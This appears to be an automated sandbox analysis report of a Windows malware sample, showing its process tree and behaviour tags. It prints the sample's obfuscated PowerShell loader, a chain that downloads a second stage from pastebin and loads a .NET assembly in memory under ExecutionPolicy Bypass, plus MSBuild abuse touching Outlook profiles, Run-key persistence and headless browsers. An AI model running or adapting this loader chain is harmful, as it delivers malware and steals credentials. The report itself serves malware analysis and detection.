w的这g的这Ck的这I的这的这7的这CQ的这TQBP的这EQ的这UgBn的这C的这的这f的这的这g的这E8的这dQB0的这C0的这RgBp的这Gw的这ZQ的这g的这C0的这RgBp的这Gw的这ZQBQ的这GE的这d的这Bo的这C的这的这J的这BW的这EI的这VwBX的这Ho的这I的这的这g的这C0的这ZgBv的这HI的这YwBl的这C的这的这OwBw的这G8的这dwBl的这HI的这cwBo的这GU的这b的这Bs的这C的这的这LQBF的这Hg的这ZQBj的这HU的这d的这Bp的这G8的这bgBQ的这G8的这b的这Bp的这GM的这eQ的这g的这EI的这eQBw的这GE的这cwBz的这C的这的这LQBG的这Gk的这b的这Bl的这C的这的这J的这BW的这EI的这VwBX的这Ho的这I的这的这7的这的这==';;$MgOrq = ($IuJUJJZz -replace '的这' , 'A');;$IgvVM = [system.Convert]::FromBase64String( $MgOrq );;$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString($IgvVM);;powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/jgKWLc0S' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'ittpA.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'RTxuv.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$gDwFu = 'Load';$WFnlg = 'invoke';$FoGmg = $null;$MODRg = '$mMOjU = ''war/qD0Q5/gro.etsapd//:'' + ''sptth'';;$x = (Join-Path $env:TEMP ''RTxuv.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'',''A'');' ;$MODRg += '[Byte[]] $oTFes = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.' + $gDwFu + '( $oTFes ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).' + $WFnlg + '( $FoGmg , [object[]] ( $mMOjU , ''%fOyRe%'' , ''____________________________________________-------'', ''0134'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'nAvER.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\nAvER.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4048
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2360
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Copy-Item '%fOyRe%' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2252
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Copy-Item '%fOyRe%' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2196
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        outlook_office_path
        outlook_win_path
        
        PID:3992
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu"
        6⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:1944
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffda137dcf8,0x7ffda137dd04,0x7ffda137dd10
        7⤵
        
        PID:5228
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1888,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=1884 /prefetch:2
        7⤵
        
        PID:2928
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --field-trial-handle=1928,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:11
        7⤵
        
        PID:5244
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --field-trial-handle=2104,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:13
        7⤵
        
        PID:412
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2812,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=2840 /prefetch:1
        7⤵
        
        PID:3584
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2820,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=2828 /prefetch:1
        7⤵
        
        PID:5844
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3380,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
        7⤵
        
        PID:1092
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3420,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=3400 /prefetch:9
        7⤵
        
        PID:2788
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3440,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
        7⤵
        
        PID:1016
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3500,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:9
        7⤵
        
        PID:4940
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4016,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=4072 /prefetch:1
        7⤵
        
        PID:4656
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uu4qjruh.iuu" --field-trial-handle=4360,i,11033539264684098827,8607144578947068316,262144 --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:14
        7⤵
        
        PID:4696
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zc1h1mk3.dbr"
        6⤵
        
        PID:3180
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\zc1h1mk3.dbr
        7⤵
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:3608
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1980 -prefsLen 27097 -prefMapHandle 1984 -prefMapSize 270279 -ipcHandle 2044 -initialChannelId {2355e2b2-9481-404c-aa44-2a94de2291ca} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        8⤵
        
        PID:5232
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2448 -prefsLen 27133 -prefMapHandle 2452 -prefMapSize 270279 -ipcHandle 2232 -initialChannelId {d45c3386-e646-414c-9894-9adcbc4051b4} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        8⤵
        
        PID:5704
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\1756baa7-f10c-4056-be6d-2247fb5012df.dmp"
        8⤵
        
        PID:1120
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2600 -prefsLen 27133 -prefMapHandle 2116 -prefMapSize 270279 -ipcHandle 2872 -initialChannelId {d14c5a38-be6e-4d28-8a29-7f3a004f92f5} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        8⤵
        
        PID:5756
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\cd1b07b7-d899-4bbc-a244-56b3a268b48b.dmp"
        8⤵
        
        PID:3336
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3012 -prefsLen 27133 -prefMapHandle 2936 -prefMapSize 270279 -ipcHandle 2952 -initialChannelId {4dcedc60-489e-47a2-b1f6-ef2cfd814440} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        8⤵
        
        PID:2376
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\9efd9312-2d68-4b18-ba41-de92c2dbb850.dmp"
        8⤵
        
        PID:1328
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2952 -prefsLen 27247 -prefMapHandle 3444 -prefMapSize 270279 -ipcHandle 3516 -initialChannelId {523df8bc-1db8-4bf7-81b8-22307b76da03} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        8⤵
        
        PID:3544
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3940 -prefsLen 27323 -prefMapHandle 3944 -prefMapSize 270279 -jsInitHandle 3948 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3956 -initialChannelId {09ad09fa-f3a4-46e0-98f1-701bade1f535} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        8⤵
        Checks processor information in registry
        
        PID:4424
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\343d282b-6bd8-4846-9a3b-04a3e2c890d2.dmp"
        8⤵
        
        PID:5100
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3516 -prefsLen 27323 -prefMapHandle 3896 -prefMapSize 270279 -ipcHandle 3900 -initialChannelId {4b60f091-3899-483e-bce3-0b49b41db3d6} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        8⤵
        
        PID:5084
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\191c4505-2cf3-4754-9aac-f241637736bd.dmp"
        8⤵
        
        PID:4232
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4236 -prefsLen 27323 -prefMapHandle 4232 -prefMapSize 270279 -ipcHandle 3936 -initialChannelId {e5727c3d-c35b-436e-94b0-902b6d53fcc9} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        8⤵
        
        PID:5064
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4648 -prefsLen 34822 -prefMapHandle 4652 -prefMapSize 270279 -jsInitHandle 4656 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4664 -initialChannelId {3e86dd24-044d-4e26-a1bd-0a729fc444b6} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        8⤵
        Checks processor information in registry
        
        PID:5924
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3692 -prefsLen 35010 -prefMapHandle 2964 -prefMapSize 270279 -ipcHandle 5152 -initialChannelId {f0106e93-dc8e-423d-91d1-7898fa239d36} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        8⤵
        Checks processor information in registry
        
        PID:2164
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5460 -prefsLen 32952 -prefMapHandle 5448 -prefMapSize 270279 -jsInitHandle 5444 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5108 -initialChannelId {11340eca-a061-42f4-8223-857cde009271} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        8⤵
        
        PID:4860
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1644 -prefsLen 32952 -prefMapHandle 5148 -prefMapSize 270279 -jsInitHandle 4512 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5516 -initialChannelId {8b1695e5-9bfa-41ad-bb62-8cf5ecec78e9} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        8⤵
        
        PID:5600
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5756 -prefsLen 32952 -prefMapHandle 5760 -prefMapSize 270279 -jsInitHandle 5764 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5772 -initialChannelId {78bb7cca-e513-427f-8a0d-52f98a7b7962} -parentPid 3608 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3608" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        8⤵
        
        PID:2060
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4"
        6⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        
        PID:4108
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x250,0x7ffd8edcf208,0x7ffd8edcf214,0x7ffd8edcf220
        7⤵
        
        PID:3060
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2112,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:2
        7⤵
        
        PID:2464
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=1804,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:11
        7⤵
        
        PID:3016
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=2284,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:13
        7⤵
        
        PID:5336
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3068,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3112 /prefetch:1
        7⤵
        
        PID:3556
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --instant-process --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3076,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:1
        7⤵
        
        PID:1592
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=3248,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:14
        7⤵
        
        PID:2392
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=3252,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:14
        7⤵
        
        PID:4476
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=3260,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:14
        7⤵
        
        PID:3716
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=3364,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3400 /prefetch:1
        7⤵
        
        PID:1328
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=3380,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:9
        7⤵
        
        PID:4272
        
